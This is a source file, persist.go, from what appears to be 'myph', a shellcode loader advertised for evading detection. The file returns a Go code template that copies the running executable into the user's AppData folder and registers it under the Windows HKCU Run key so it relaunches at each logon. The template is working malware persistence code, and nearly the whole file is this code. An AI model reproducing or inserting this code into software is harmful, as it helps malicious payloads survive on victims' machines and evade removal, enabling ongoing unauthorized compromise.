myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

persist.go (2045B)

      1 package tools
      2 
      3 import "fmt"
      4 
      5 func GetPersistTemplate() string {
      6 	return fmt.Sprintf(`
      7 package main
      8 
      9 import (
     10 	"io"
     11 	"os"
     12 	"strings"
     13 
     14 	"golang.org/x/sys/windows/registry"
     15 )
     16 
     17 func getCurrentProcessPath() string {
     18 	path, err := os.Executable()
     19 	if err != nil {
     20 		return ""
     21 	}
     22 	return path
     23 }
     24 
     25 func filenameToName(filename string) string {
     26 	filename_splitted := strings.Split(filename, ".")
     27 	return filename_splitted[0]
     28 }
     29 
     30 func getAppDataPath() string {
     31 	path, err := os.UserConfigDir()
     32 	if err != nil {
     33 		return ""
     34 	}
     35 	return path
     36 }
     37 
     38 func getRegistryKey(keyName string) (string, error) {
     39 	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
     40 	if err != nil {
     41 		return "", err
     42 	}
     43 	defer k.Close()
     44 
     45 	s, _, err := k.GetStringValue(keyName)
     46 	if err != nil {
     47 		return "", err
     48 	}
     49 	return s, err
     50 }
     51 
     52 func SetRegistryValue(keyName string, keyValue string) error {
     53 
     54 	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
     55 	if err != nil {
     56 		return err
     57 	}
     58 	defer k.Close()
     59 
     60 	err = k.SetStringValue(keyName, keyValue)
     61 	if err != nil {
     62 		return err
     63 	}
     64 	return err
     65 }
     66 
     67 func fileExists(filename string) bool {
     68 	info, err := os.Stat(filename)
     69 	if os.IsNotExist(err) {
     70 		return false
     71 	}
     72 	return !info.IsDir()
     73 }
     74 
     75 func copyFile(src string, dest string) {
     76 	in, err := os.Open(src)
     77 	if err != nil {
     78 		return
     79 	}
     80 	defer in.Close()
     81 	out, err := os.Create(dest)
     82 	if err != nil {
     83 		return
     84 	}
     85 	defer func() {
     86 		cerr := out.Close()
     87 		if err == nil {
     88 			err = cerr
     89 		}
     90 	}()
     91 	if _, err = io.Copy(out, in); err != nil {
     92 		return
     93 	}
     94 	err = out.Sync()
     95 	return
     96 }
     97 
     98 func persistExecute(outFile string) {
     99 	currentFilePath := getCurrentProcessPath()
    100 	keyName := filenameToName(outFile)
    101 	installFile := getAppDataPath() + "\\" + outFile
    102 
    103 	if !fileExists(installFile) {
    104 		copyFile(currentFilePath, installFile)
    105 
    106 	}
    107 	keyVal, err := getRegistryKey(keyName)
    108 	if err != nil || keyVal != installFile {
    109 		SetRegistryValue(keyName, installFile)
    110 	}
    111 
    112 }
    113 `)
    114 }